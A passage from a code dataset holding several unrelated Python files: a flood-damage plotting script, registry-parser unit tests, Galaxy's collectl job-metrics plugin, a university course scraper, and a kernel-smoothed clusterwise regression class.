1.,linestyle ='--', alpha = 0.5)\n \n f3_ax1.plot(DATA_region['Year'], np.log10(DATA_region['Norm_Impact_Pred_{}'.format(dis)]), label='$Loss_{Full}$', color='#8856a7', linewidth = 1.)\n \n f3_ax1.fill_between(DATA_region['Year'],np.log10(DATA_region['Norm_Impact_Pred_1thrd_{}'.format(dis)]) , np.log10(DATA_region['Norm_Impact_Pred_2thrd_{}'.format(dis)]), color='#8856a7', alpha=0.4, linewidth = 1.)\n \n\n \n r_lin = DATA_FIT.loc[DATA_FIT['Region']==regions[r]+'_'+dis, 'ExpVar_model_pred_observed'].sum()\n\n \n #r2 = DATA_FIT.loc[DATA_FIT['Region']==regions[r]+'_'+dis, 'New_explained_variance'].sum()\n\n \n #text_LOG = 'R²='+str(round(r_log*100,1))+ '% (LOG)'\n text_lin = 'R²='+str(round(r_lin*100,1))+ '%'\n #text_r2 = 'R²='+str(round(r2*100,1))+ '%'\n #text_lin_rm = 'R²3yrm='+str(round(r_lin_rm*100,1))+ '% (LIN)'\n\n \n if r_lin> 0.2:\n \n f3_ax1.set_facecolor('gainsboro')\n \n f3_ax1.set_yticks([6,8,10])\n f3_ax1.set_yticklabels(['','',''])\n if i in [2]:\n f3_ax1.set_ylim((5.5, 12))\n \n elif i in [1]:\n f3_ax1.set_ylim((4.5, 11.5))\n \n elif i in [4]:\n f3_ax1.set_ylim((4, 11))\n \n elif i in [3]:\n f3_ax1.set_ylim((4.5, 11))\n \n elif i in [6]:\n f3_ax1.set_ylim((4, 10.5))\n \n elif i in [7]:\n f3_ax1.set_ylim((5.5, 11.5))\n \n elif i in [8]:\n f3_ax1.set_ylim((4.5, 11))\n \n elif i in [0]:\n f3_ax1.set_ylim((7, 12))\n f3_ax1.set_yticks([8, 10])\n \n if j == 0:\n f3_ax1.set_yticklabels(['8','10'])\n else:\n f3_ax1.set_ylim((5., 11.5))\n \n f3_ax1.set_xlim((1978 ,2013))\n \n if not (i==1 and j==1):\n f3_ax1.annotate( xy=(1990, f3_ax1.get_ylim()[0]+0.08*(f3_ax1.get_ylim()[1]-f3_ax1.get_ylim()[0]) ) ,s=text_lin, fontsize=7 )\n #f3_ax1.annotate( xy=(1998, f3_ax1.get_ylim()[0]+0.15*(f3_ax1.get_ylim()[1]-f3_ax1.get_ylim()[0]) ) ,s=text_r, fontsize=7 )\n \n \n #f3_ax1.annotate( xy=(1980, f3_ax1.get_ylim()[0]+0.24*(f3_ax1.get_ylim()[1]-f3_ax1.get_ylim()[0]) ) ,s=text_r2, fontsize=7 )\n #f3_ax1.annotate( xy=(1980, f3_ax1.get_ylim()[0]+0.15*(f3_ax1.get_ylim()[1]-f3_ax1.get_ylim()[0]) ) ,s=text_lin, fontsize=7 )\n #f3_ax1.annotate( xy=(1980, f3_ax1.get_ylim()[0]+0.06*(f3_ax1.get_ylim()[1]-f3_ax1.get_ylim()[0]) ) ,s=text_r290, fontsize=6 )\n # if i==0:\n # f3_ax1.annotate( xy=(1980, f3_ax1.get_ylim()[0]+0.88*(f3_ax1.get_ylim()[1]-f3_ax1.get_ylim()[0]) ) ,s='a', fontsize=8, fontweight = 'bold')\n \n \n \n f3_ax1.set_xticks([1980,1990,2000,2010])\n f3_ax1.set_xticklabels(['','','',''])\n \n \n if i == 9:\n f3_ax1.set_xticklabels(['1980','1990','2000','2010'], fontsize =7)\n \n if i ==4 and j ==0:\n f3_ax1.set_ylabel('LOG10 (Damages 2005 USD)', fontsize=8, labelpad=-1)\n \n if j == 0 and i !=0:\n f3_ax1.set_yticklabels(['6','8','10'], fontsize=8)\n \n if i == 4 and j ==0:\n f3_ax1.set_xticklabels(['1980','1990','2000', '2010'],fontsize=8)\n f3_ax1.set_xlabel('Year', fontsize=9, labelpad=-2)\n \n if i == 4 and j ==0:\n f3_ax1.set_xticklabels(['1980','1990','2000', '2010'],fontsize=8)\n f3_ax1.set_xlabel('Year', fontsize=9, labelpad=-2)\n \n if i == 3 and j ==1:\n f3_ax1.set_xticklabels(['1980','1990','2000', '2010'],fontsize=8)\n f3_ax1.set_xlabel('Year', fontsize=9, labelpad=-2)\n \n f3_ax1.tick_params(axis=\"x\", direction = 'in',length = 4)\n \n handles, labels = f3_ax1.get_legend_handles_labels() \n \n \n r+=1\n \n \n\nplt.savefig('/home/insauer/projects/NC_Submission/Data/Figures/Supplement/figure_si5_modelspread.png',bbox_inches = 'tight',dpi =600)\nplt.savefig('/home/insauer/projects/NC_Submission/Data/Figures/Supplement/figure_si5_modelspread.svg',bbox_inches = 'tight', format = 'svg')\n\n\n\n\n#f3_ax1.set_title('gs[0, :]')\n#f3_ax2 = fig3.add_subplot(gs[1, :-1])\n#f3_ax2.set_title('gs[1, :-1]')\n#f3_ax3 = fig3.add_subplot(gs[1:, -1])\n#f3_ax3.set_title('gs[1:, -1]')\n#f3_ax4 = fig3.add_subplot(gs[-1, 0])\n#f3_ax4.set_title('gs[-1, 0]')\n#f3_ax5 = fig3.add_subplot(gs[-1, -2])\n#f3_ax5.set_title('gs[-1, -2]')","sub_path":"202010_flood_attribution/Plotting/Supplement/figure3_4_model_spread.py","file_name":"figure3_4_model_spread.py","file_ext":"py","file_size_in_byte":11914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"487217933","text":"# -*- coding: utf-8 -*-\nimport unittest\nimport exceptions\nfrom datetime import datetime\n\nfrom provreg import TGK14, Domremstroy, Oblgaz, Dom, Lider, Region, Avangard, FondKapRem\nfrom provreg import Vodokanal, Zhilkom, Ingoda, Perspektiva, SMD, Teplovodokanal, Severniy\n\nregs_data = {\n 'SMD': {\n 'class': SMD,\n 'args_init': {'filename': r'.\\src\\smd.txt'},\n 'debt': 20096316.18,\n 'count': 49380,\n 'mnemo_coco': 'ch_smd'\n },\n 'Perspektiva': {\n 'class': Perspektiva,\n 'args_init': {'filename': r'.\\src\\perspektiva.txt'},\n 'debt': 9368081.40,\n 'count': 2211,\n 'mnemo_coco': 'ch_perspektiva'\n },\n 'Ingoda': {\n 'class': Ingoda,\n 'args_init': {'filename': r'.\\src\\ingoda.txt'},\n 'debt_date': datetime(2017, 3, 1),\n 'debt': 4632685.56,\n 'count': 2067,\n 'mnemo_coco': 'ch_ingoda'\n },\n 'Zhilkom': {\n 'class': Zhilkom,\n 'args_init': {'filename': r'.\\src\\zhilkom.txt'},\n 'debt': 717546.54,\n 'count': 743,\n 'mnemo_coco': 'ch_zhilkom'\n },\n 'Vodokanal': {\n 'class': Vodokanal,\n 'args_init': {'filename': r'.\\src\\vodokanal_s.DBF'},\n 'debt': 183218.99,\n 'count': 144,\n 'mnemo_coco': 'ch_vodokanal'\n },\n 'TGK14': {\n 'class': TGK14,\n 'args_init': {'filename': r'.\\src\\Lstgks.DBF'},\n 'debt': 33798.01,\n 'count': 107,\n 'mnemo_coco': 'ch_tgk14'\n },\n 'Domremstroy': {\n 'class': Domremstroy,\n 'args_init': {'filename': r'.\\src\\domrem.txt'},\n 'debt_date': datetime(2017, 3, 1),\n 'debt': 17264479.69,\n 'count': 4469,\n 'mnemo_coco': 'ch_domremstroy'\n },\n 'Oblgaz': {\n 'class': Oblgaz,\n 'args_init': {'filename': r'.\\src\\kokuy.txt'},\n 'debt': -999598623.87,\n 'count': 696,\n 'mnemo_coco': 'ch_chitaoblgaz'\n },\n 'Dom': {\n 'class': Dom,\n 'args_init': {'filename': r'.\\src\\Dom1_2016_12.txt', 'service_code': '3199'},\n 'debt': 0,\n 'count': 1717,\n 'mnemo_coco': 'ch_dom1'\n },\n 'Lider': {\n 'class': Lider,\n 'args_init': {'filename': r'.\\src\\lider.txt'},\n 'debt': 161889893.93,\n 'count': 22091,\n 'mnemo_coco': 'ch_lider'\n },\n 'Region': {\n 'class': Region,\n 'args_init': {'filename': r'.\\src\\region.txt', 'service_code': '8373'},\n 'debt_date': datetime(2017, 3, 1),\n 'debt': 16686924.89,\n 'count': 2040,\n 'mnemo_coco': 'ch_region'\n },\n 'Avangard': {\n 'class': Avangard,\n 'args_init': {'filename': r'.\\src\\ava.xlsx'},\n 'debt': 0,\n 'count': 96,\n 'mnemo_coco': 'ch_avangard'\n },\n 'FondKapRem': {\n 'class': FondKapRem,\n 'args_init': {'filename': r'.\\src\\fkr.xlsx'},\n 'debt_date': datetime(2017, 3, 1),\n 'debt': 49629083.36,\n 'count': 8690,\n 'mnemo_coco': 'ch_zabfkr'\n },\n}\n\nnot_correct_regs = ['Oblgaz', 'SMD']\n\n\nclass TestProvData(unittest.TestCase):\n\n def test_generate_accounts_decoded(self):\n for reg_name in regs_data:\n\n data = regs_data[reg_name]\n prov_class = data['class']\n\n # noinspection PyCallingNonCallable\n registry = prov_class(**data['args_init'])\n for key in data:\n if hasattr(registry, key):\n setattr(registry, key, data[key])\n for _ in registry.generate_accounts_decoded():\n pass\n\n def test_total_debt(self):\n for reg_name in regs_data:\n\n data = regs_data[reg_name]\n prov_class = data['class']\n\n # noinspection PyCallingNonCallable\n registry = prov_class(**data['args_init'])\n for key in data:\n if hasattr(registry, key):\n setattr(registry, key, data[key])\n\n debt = 0\n for item in registry.generate_accounts_decoded():\n debt += item['debt']\n\n # noinspection PyTypeChecker\n self.assertEqual(round((debt - data['debt']) * 100), 0,\n ('Не совпадает итоговая сумма по поставщику {}\\n' +\n 'Сумма в файле: {}. Ожидалось: {}'\n ).format(reg_name, debt, data['debt']))\n\n def test_source_data_correct(self):\n _not_correct_regs = []\n\n for reg_name in regs_data:\n\n data = regs_data[reg_name]\n prov_class = data['class']\n\n # noinspection PyCallingNonCallable\n registry = prov_class(**data['args_init'])\n for key in data:\n if hasattr(registry, key):\n setattr(registry, key, data[key])\n if not registry.source_data_correct():\n _not_correct_regs.append(reg_name)\n\n self.assertEqual(_not_correct_regs, not_correct_regs)\n\n def test_process_error(self):\n self.error_data = []\n\n def source_error_save(**kwargs):\n self.error_data.append(kwargs.copy())\n\n gaz_registry = Oblgaz(r'.\\src\\kokuy_bad.txt')\n gaz_registry.error_processor = source_error_save\n for _ in gaz_registry.generate_accounts_decoded():\n pass\n\n self.assertEqual(len(self.error_data), 1)\n self.assertEqual(self.error_data[0]['at'], 279)\n self.assertEqual(type(self.error_data[0]['exception']), exceptions.ValueError)\n\n def test_total_count(self):\n for reg_name in regs_data:\n\n data = regs_data[reg_name]\n prov_class = data['class']\n\n # noinspection PyCallingNonCallable\n registry = prov_class(**data['args_init'])\n for key in data:\n if hasattr(registry, key):\n setattr(registry, key, data[key])\n\n count = 0\n for _ in registry.generate_accounts_decoded():\n count += 1\n\n # noinspection PyTypeChecker\n self.assertEqual(data['count'], count,\n ('Не совпадает количество по поставщику {}\\n' +\n 'Количество в файле: {}. Ожидалось: {}'\n ).format(reg_name, count, data['count']))\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_parse.py","file_name":"test_parse.py","file_ext":"py","file_size_in_byte":6446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"272232024","text":"\"\"\"The module describes the ``collectl`` job metrics plugin.\"\"\"\nimport logging\nimport os\nimport shutil\n\nfrom galaxy import util\nfrom . import InstrumentPlugin\nfrom .. import formatting\nfrom ..collectl import (\n cli,\n processes,\n subsystems\n)\n\nlog = logging.getLogger(__name__)\n\n# By default, only grab statistics for user processes (as identified by\n# username).\nDEFAULT_PROCFILT_ON = \"username\"\nDEFAULT_SUBSYSTEMS = \"process\"\n# Set to zero to flush every collection.\nDEFAULT_FLUSH_INTERVAL = \"0\"\n\nFORMATTED_RESOURCE_TITLES = {\n \"PCT\": \"Percent CPU Usage\",\n \"RSYS\": \"Disk Reads\",\n \"WSYS\": \"Disk Writes\",\n}\n\nEMPTY_COLLECTL_FILE_MESSAGE = \"Skipping process summary due to empty file... job probably did not run long enough for collectl to gather data.\"\n\n\nclass CollectlFormatter(formatting.JobMetricFormatter):\n\n def format(self, key, value):\n if key == \"pid\":\n return (\"Process ID\", int(value))\n elif key == \"raw_log_path\":\n return (\"Relative Path of Full Collectl Log\", value)\n elif key == \"process_max_AccumT\":\n return (\"Job Runtime (System+User)\", formatting.seconds_to_str(float(value)))\n else:\n _, stat_type, resource_type = key.split(\"_\", 2)\n if resource_type.startswith(\"Vm\"):\n value_str = \"%s KB\" % int(value)\n elif resource_type in [\"RSYS\", \"WSYS\"] and stat_type in [\"count\", \"max\", \"sum\"]:\n value_str = \"%d (# system calls)\" % int(value)\n else:\n value_str = str(value)\n resource_title = FORMATTED_RESOURCE_TITLES.get(resource_type, resource_type)\n return (\"%s (%s)\" % (resource_title, stat_type), value_str)\n\n\nclass CollectlPlugin(InstrumentPlugin):\n \"\"\" Run collectl along with job to capture system and/or process data\n according to specified collectl subsystems.\n \"\"\"\n plugin_type = \"collectl\"\n formatter = CollectlFormatter()\n\n def __init__(self, **kwargs):\n self.__configure_paths(kwargs)\n self.__configure_subsystems(kwargs)\n saved_logs_path = kwargs.get(\"saved_logs_path\", \"\")\n if \"app\" in kwargs:\n log.debug(\"Found path for saved logs: %s\" % saved_logs_path)\n saved_logs_path = kwargs[\"app\"].config.resolve_path(saved_logs_path)\n self.saved_logs_path = saved_logs_path\n self.__configure_collectl_recorder_args(kwargs)\n self.summarize_process_data = util.asbool(kwargs.get(\"summarize_process_data\", True))\n self.log_collectl_program_output = util.asbool(kwargs.get(\"log_collectl_program_output\", False))\n if self.summarize_process_data:\n if subsystems.get_subsystem(\"process\") not in self.subsystems:\n raise Exception(\"Collectl plugin misconfigured - cannot summarize_process_data without process subsystem being enabled.\")\n\n process_statistics = kwargs.get(\"process_statistics\", None)\n # None will let processes module use default set of statistics\n # defined there.\n self.process_statistics = processes.parse_process_statistics(process_statistics)\n\n def pre_execute_instrument(self, job_directory):\n commands = []\n # Capture PID of process so we can walk its ancestors when building\n # statistics for the whole job.\n commands.append('''echo \"$$\" > '%s' ''' % self.__pid_file(job_directory))\n # Run collectl in record mode to capture process and system level\n # statistics according to supplied subsystems.\n commands.append(self.__collectl_record_command(job_directory))\n return commands\n\n def post_execute_instrument(self, job_directory):\n commands = []\n # collectl dies when job script completes, perhaps capture pid of\n # collectl above and check if it is still alive to allow tracking if\n # collectl ran successfully through the whole job.\n return commands\n\n def job_properties(self, job_id, job_directory):\n pid = open(self.__pid_file(job_directory), \"r\").read().strip()\n contents = os.listdir(job_directory)\n try:\n rel_path = filter(self._is_instrumented_collectl_log, contents)[0]\n path = os.path.join(job_directory, rel_path)\n except IndexError:\n message = \"Failed to find collectl log in directory %s, files were %s\" % (job_directory, contents)\n raise Exception(message)\n\n properties = dict(\n pid=int(pid),\n )\n\n if self.saved_logs_path:\n destination_rel_dir = os.path.join(*util.directory_hash_id(job_id))\n destination_rel_path = os.path.join(destination_rel_dir, rel_path)\n destination_path = os.path.join(self.saved_logs_path, destination_rel_path)\n destination_dir = os.path.dirname(destination_path)\n if not os.path.isdir(destination_dir):\n os.makedirs(destination_dir)\n shutil.copyfile(path, destination_path)\n properties[\"raw_log_path\"] = destination_rel_path\n\n if self.summarize_process_data:\n # Run collectl in playback and generate statistics of interest\n summary_statistics = self.__summarize_process_data(pid, path)\n for statistic, value in summary_statistics:\n properties[\"process_%s\" % \"_\".join(statistic)] = value\n\n return properties\n\n def __configure_paths(self, kwargs):\n # 95% of time I would expect collectl to just be installed with apt or\n # yum, but if it is manually installed on not on path, allow\n # configuration of explicit path - and allow path to be different\n # between galaxy job handler (local_collectl_path) and compute node\n # (remote_collectl_path).\n collectl_path = kwargs.get(\"collectl_path\", \"collectl\")\n self.remote_collectl_path = kwargs.get(\"remote_collectl_path\", collectl_path)\n self.local_collectl_path = kwargs.get(\"local_collectl_path\", collectl_path)\n\n def __configure_subsystems(self, kwargs):\n raw_subsystems_str = kwargs.get(\"subsystems\", DEFAULT_SUBSYSTEMS)\n raw_subsystems = util.listify(raw_subsystems_str, do_strip=True)\n self.subsystems = [subsystems.get_subsystem(_) for _ in raw_subsystems]\n\n def __configure_collectl_recorder_args(self, kwargs):\n collectl_recorder_args = kwargs.copy()\n\n # Allow deployer to configure separate system and process intervals,\n # but if they specify just one - use it for both. Thinking here is this\n # plugin's most useful feature is the process level information so\n # this is likely what the deployer is attempting to configure.\n if \"interval\" in kwargs and \"interval2\" not in kwargs:\n collectl_recorder_args[\"interval2\"] = kwargs[\"interval\"]\n\n if \"flush\" not in kwargs:\n collectl_recorder_args[\"flush\"] = DEFAULT_FLUSH_INTERVAL\n\n procfilt_on = kwargs.get(\"procfilt_on\", DEFAULT_PROCFILT_ON).lower()\n # Calculate explicit arguments, rest can just be passed through from\n # constructor arguments.\n explicit_args = dict(\n collectl_path=self.remote_collectl_path,\n procfilt=procfilt_argument(procfilt_on),\n subsystems=self.subsystems,\n )\n collectl_recorder_args.update(explicit_args)\n self.collectl_recorder_args = collectl_recorder_args\n\n def __summarize_process_data(self, pid, collectl_log_path):\n playback_cli_args = dict(\n collectl_path=self.local_collectl_path,\n playback_path=collectl_log_path,\n sep=\"9\"\n )\n if not os.stat(collectl_log_path).st_size:\n log.debug(EMPTY_COLLECTL_FILE_MESSAGE)\n return []\n\n playback_cli = cli.CollectlCli(**playback_cli_args)\n return processes.generate_process_statistics(playback_cli, pid, self.process_statistics)\n\n def __collectl_recorder_cli(self, job_directory):\n cli_args = self.collectl_recorder_args.copy()\n cli_args[\"destination_path\"] = self._instrument_file_path(job_directory, \"log\")\n return cli.CollectlCli(**cli_args)\n\n def __collectl_record_command(self, job_directory):\n collectl_cli = self.__collectl_recorder_cli(job_directory)\n if self.log_collectl_program_output:\n redirect_to = self._instrument_file_path(job_directory, \"program_output\")\n else:\n redirect_to = \"/dev/null\"\n return \"%s > %s 2>&1 &\" % (\n collectl_cli.build_command_line(),\n redirect_to,\n )\n\n def __pid_file(self, job_directory):\n return self._instrument_file_path(job_directory, \"pid\")\n\n def _is_instrumented_collectl_log(self, filename):\n prefix = self._instrument_file_name(\"log\")\n return filename.startswith(prefix) and filename.endswith(\".raw.gz\")\n\n\ndef procfilt_argument(procfilt_on):\n if procfilt_on == \"username\":\n return \"U$USER\"\n elif procfilt_on == \"uid\":\n return \"u$UID\"\n else:\n # Ensure it is empty of None\n if procfilt_on or procfilt_on.lower() != \"none\":\n raise Exception(\"Invalid procfilt_on argument encountered\")\n return \"\"\n\n\n__all__ = ('CollectlPlugin', )\n","sub_path":"lib/galaxy/job_metrics/instrumenters/collectl.py","file_name":"collectl.py","file_ext":"py","file_size_in_byte":9253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"200408583","text":"# -*- coding: utf-8 -*-\nimport requests\nimport csv\nfrom bs4 import BeautifulSoup\nfrom typing import List\n\n#!######################### Get Course Prefix ##################################\n# * Get prefix from: schedule of classes for undergraduate students\ndef getPrefix() -> List[str]:\n \"\"\"\n Get the most up-to-date course prefix list from http://www.adm.uwaterloo.ca/infocour/CIR/SA/under.html\n\n Parameters:\n None\n \n Return:\n List[str]\n \"\"\"\n course_prefix = []\n\n # Access the course prefix website\n prefix_page = requests.get('http://www.adm.uwaterloo.ca/infocour/CIR/SA/under.html')\n\n # Parse the accessed website page\n prefix_soup = BeautifulSoup(prefix_page.text, 'html.parser')\n\n # Since all prefix are under select tag in HTML, scrap the information by the select tag.\n all_select = prefix_soup.find_all('select')\n second_select = all_select[1]\n second_select_all_option = second_select.find_all('option')\n for i in second_select_all_option:\n course_prefix.append(i.get('value'))\n return course_prefix\n\ndef requestCourseEnroll(sess, subject, cournum):\n \"\"\"\n Get a request instance from http://www.adm.uwaterloo.ca/cgi-bin/cgiwrap/infocour/salook.pl\n after requesting the class enrollment data\n\n Parameters:\n sess: int or str\n subject: str\n cournum: int or str\n \n Return:\n Request instance\n \"\"\"\n if not sess or not subject or not cournum:\n print(\"ERROR: please input ALL of the sess, subject, cournum parameters\")\n return None\n else:\n url = 'http://www.adm.uwaterloo.ca/cgi-bin/cgiwrap/infocour/salook.pl'\n\n headers = {\"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip,deflate\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n \"Content-Length\": \"45\",\n \"Origin\": \"http://www.adm.uwaterloo.ca\",\n \"Connection\": \"keep-alive\",\n \"Referer\": \"http://www.adm.uwaterloo.ca/infocour/CIR/SA/under.html\",\n \"Upgrade-Insecure-Requests\": \"1\"}\n \n data = \"level=under&sess=%s&subject=%s&cournum=%s\" % (sess, subject.upper(), cournum)\n\n req = requests.post(url, headers=headers, data=data)\n\n if req.status_code == requests.codes.ok:\n print(\"Request Successful\")\n return req\n else:\n print(\"Request ERROR: %s\" % req.status_code)\n return req","sub_path":"uwaterlooCourseInfoScraper/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"25545488","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nModule to implement the clusterwise predictive modelling algorithm using\r\nlinear regression to model the clusters, and the kernel smoothing method to model\r\nthe cluster probability functions.\r\n\"\"\"\r\n\r\n# Import libraries.\r\nimport numpy as np\r\nimport math\r\nfrom scipy.spatial import distance_matrix\r\n\r\n\r\n# Define kernel functions.\r\ndef K_Gauss(dist, lab):\r\n return np.exp(-(dist / lab)**2) \r\n\r\ndef K_block(dist, lab):\r\n return np.array(dist <= lab, dtype = \"int\")\r\n\r\ndef K_Epan(dist, lab):\r\n K = np.zeros((len(dist), len(dist[0])))\r\n values = dist[dist <= lab]\r\n K[dist <= lab] = 1 - (values / lab)**2\r\n return K \r\n\r\n\r\n# Define cluster probabillity function estimate.\r\ndef h_est_fun(K, p):\r\n with np.errstate(divide='ignore', invalid='ignore'):\r\n return np.dot(K, p) / np.sum(K, axis=1)[:,None] \r\n\r\n\r\nclass lin_mix:\r\n \"\"\"\r\n Main class, fit a clusterwise predictive model to a training data set,\r\n and make predictions on a new data set.\r\n \"\"\"\r\n \r\n # Define dictionary of kernel functions.\r\n kernels = {\"Epanechnikov\" : K_Epan, \"Gauss\" : K_Gauss, \"block\" : K_block}\r\n \r\n def __init__(self,\r\n k=2,\r\n kernel=\"Epanechnikov\",\r\n labda=1,\r\n max_iter=100,\r\n pre_cluster=False,\r\n cluster_method=None,\r\n fuzzy=False,\r\n auto_labda=False,\r\n c=0.9,\r\n gamma=1,\r\n random_seed=None):\r\n self.k = k\r\n self.kernel= kernel\r\n self.lab = labda\r\n self.fitted = False\r\n self.max_iter = max_iter\r\n self.pre_cluster = pre_cluster\r\n self.cluster_method = cluster_method\r\n self.fuzzy = fuzzy\r\n self.lab_array = False\r\n self.auto_labda = auto_labda \r\n self.c = c\r\n self.gamma = gamma\r\n if isinstance(random_seed, int):\r\n self.random_seed = random_seed\r\n else:\r\n self.random_seed = np.random.randint(0,10000)\r\n \r\n def fit(self, x, y):\r\n\r\n # Find the number of rows in the dataset.\r\n self.n = len(x)\r\n \r\n #Find the number of collumns in the dataset.\r\n if x.ndim == 1:\r\n self.m = 1\r\n else:\r\n self.m = np.shape(x)[1]\r\n \r\n # Turn x and y into 2-d arrays.\r\n x_arr = x.reshape((self.n,self.m))\r\n y_arr = y.reshape((self.n,1))\r\n \r\n # Check if user provided a correct kernel function.\r\n if self.kernel not in self.kernels:\r\n raise ValueError(\"Not a valid kernel\")\r\n return self \r\n \r\n # Compute distances between points in training set.\r\n dist = distance_matrix(x_arr, x_arr)\r\n \r\n # Set initial labda value(s).\r\n if hasattr(self.lab, \"__len__\"):\r\n test_labs = self.lab\r\n self.lab_array = True\r\n elif self.auto_labda:\r\n self.lab_array = True\r\n lab_opt = self.lab\r\n same = 0\r\n else:\r\n # In case labda is considered a constant, define the matrix K.\r\n K = self.kernels[self.kernel](dist, self.lab)\r\n \r\n # Create matrix A.\r\n A = np.concatenate((np.ones((self.n,1)), x_arr), axis = 1)\r\n \r\n # Create placeholder array for the estimates of beta.\r\n beta_est = np.zeros((self.m+1 ,self.k))\r\n \r\n # Set random seed.\r\n np.random.seed(self.random_seed) \r\n \r\n # Set initial values of p_est, either using a cluster method or\r\n # set them equel plus a small perturbation. \r\n if self.pre_cluster == True:\r\n clust = self.cluster_method.fit(x_arr)\r\n # Check if the cluster method performs fuzzy clustering.\r\n if self.fuzzy:\r\n p_est = clust.u\r\n else:\r\n for i in range(self.k):\r\n if i == 0:\r\n p_est = (clust.labels_ == i).reshape((self.n, 1))\r\n else:\r\n p_est = np.append(p_est, (clust.labels_ == i).reshape((self.n, 1)), axis=1)\r\n else:\r\n p_est = np.random.uniform(size=(self.n,self.k))\r\n p_est /= np.sum(p_est, axis=1)[:,None]\r\n \r\n # Set initial log likelihood. \r\n log_likeli_new = -float('Inf')\r\n \r\n # Main loop.\r\n for i in range(self.max_iter):\r\n \r\n # M step: calculate estimates for beta, sigma and h.\r\n for j in range(self.k):\r\n beta_est[:,j] = np.linalg.multi_dot([np.linalg.inv(np.dot(A.T, p_est[:,j][:,None] * A)),\r\n A.T, p_est[:,j][:,None] * y_arr]).reshape((self.m+1,))\r\n \r\n sig_est = np.sqrt(np.sum(p_est * np.square(y_arr - np.dot(A, beta_est)), axis=0) / np.sum(p_est, axis=0))\r\n \r\n # loocv via L matrices.\r\n if self.lab_array:\r\n \r\n # Define labda values to be tested.\r\n if self.auto_labda:\r\n test_labs = np.array([lab_opt / (1 + self.gamma * self.c**same),\r\n lab_opt,\r\n lab_opt * (1 + self.gamma * self.c**same)])\r\n \r\n # Create array for cv scores.\r\n mses = np.array([])\r\n \r\n # For each labda value, calcuate the loocv score.\r\n for labi in test_labs:\r\n H = []\r\n H_diag = []\r\n for j in range(self.k):\r\n H_j = np.linalg.multi_dot([A, np.linalg.inv(np.dot(A.T, p_est[:,j][:,None] * A)),\r\n p_est[:,j][:,None].T * A.T])\r\n H_diag_j = np.diag(H_j)\r\n H.append(H_j)\r\n H_diag.append(H_diag_j)\r\n K = self.kernels[self.kernel](dist, labi)\r\n self.testk = K\r\n K_L = K / np.sum(K, axis=1)[:,None]\r\n h_reg = np.diag(K_L)\r\n preds = np.array([])\r\n for s in range(self.n):\r\n L_loo = 0\r\n h_loo = np.dot(np.delete(K_L[s,:], s)[None,:],\r\n np.delete(p_est, s, 0))\r\n for j in range(self.k):\r\n H_j_loo = np.dot(np.delete(H[j][s,:], s)[None,:],\r\n np.delete(y_arr, s, 0))[0,0] / (1 - H_diag[j][s])\r\n L_j_loo = H_j_loo * h_loo[0,j]\r\n L_loo += L_j_loo\r\n pred = L_loo / (1 - h_reg[s])\r\n preds = np.append(preds, pred)\r\n mse = ((preds - y)**2).mean()\r\n mses = np.append(mses, mse)\r\n mses[np.isnan(mses)] = float('Inf')\r\n if lab_opt == test_labs[mses.argmin()]:\r\n same += 1\r\n else:\r\n same -= 0.5 \r\n lab_opt = test_labs[mses.argmin()] \r\n \r\n # Calculate new K matrix. \r\n K_opt = K_Gauss(dist, lab_opt)\r\n \r\n # Calculate new estimates of h.\r\n h_est = h_est_fun(K_opt, p_est)\r\n else:\r\n h_est = h_est_fun(K, p_est)\r\n \r\n # E step: calculate estimates of p.\r\n prop = h_est / sig_est * np.exp(-np.square(y_arr - np.dot(A, beta_est)) / (2 * sig_est**2))\r\n prop_sum = np.sum(prop, axis=1)\r\n p_est = prop / prop_sum[:,None]\r\n \r\n # Save old and calculate new log likelihood.\r\n log_likeli_old = log_likeli_new\r\n log_likeli_new = np.sum(-np.sum(p_est, axis=0) * np.log(2 * math.pi * sig_est**2) -\\\r\n np.sum(p_est * np.square(y_arr - np.dot(A, beta_est)), axis=0) /\\\r\n (2 * sig_est**2)) + np.sum(np.log(h_est + 1e-15) * p_est)\r\n\r\n # Stop if increase in likelihood is below threshold.\r\n if log_likeli_new - log_likeli_old < 1e-5 and log_likeli_new - log_likeli_old > -1e-5 and\\\r\n i >= 10:\r\n break\r\n \r\n # Assign self parameters. \r\n self.iters = i+1\r\n self.beta_est = beta_est\r\n self.p_est = p_est\r\n self.sig_est = sig_est\r\n self.h_est = h_est\r\n self.x = x\r\n self.y = y\r\n if self.lab_array:\r\n self.lab = lab_opt\r\n self.mse = mses.min()\r\n self.mses = mses\r\n self.fitted = True\r\n\r\n \r\n def predict(self, x):\r\n \r\n # Make sure the dataset has the right shape.\r\n if not hasattr(x, \"__len__\"):\r\n x_pred = np.array([x]).reshape((1,1))\r\n else:\r\n x_pred = x\r\n if x_pred.ndim == 1:\r\n x_pred = x_pred.reshape((1,len(x_pred)))\r\n \r\n # If the dataset has the right shape and the model has been trained, make predictions. \r\n if self.fitted:\r\n if x_pred.shape[1] == self.m: \r\n dist_pred = distance_matrix(x_pred, self.x)\r\n K_pred = self.kernels[self.kernel](dist_pred, self.lab)\r\n h_final = h_est_fun(K_pred, self.p_est)\r\n h_final[np.isnan(h_final)] = 1 / self.k\r\n A_uni = np.concatenate((np.ones((len(x_pred),1)),\r\n x_pred.reshape((len(x_pred),self.m))), axis = 1) \r\n f_est = np.dot(A_uni, self.beta_est)\r\n pred = np.sum(f_est*h_final, axis=1)\r\n return pred\r\n else:\r\n raise ValueError(\"Incorrect number of dimensions.\")\r\n else:\r\n raise ValueError(\"Train the model first.\")\r\n","sub_path":"cpm_kernel.py","file_name":"cpm_kernel.py","file_ext":"py","file_size_in_byte":10008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"312002697","text":"import pandas as pd\r\nfrom pylab import *\r\nimport os.path\r\nimport json\r\n\r\n\r\ndata = []\r\nwith open('batch_log.json') as f: # opening the file\r\n for line in f:\r\n data.append(json.loads(line)); # appending data line by line\r\n\r\nprint(\"Checkpoint 1\")\r\n\r\nfirst = data[0];\r\nD 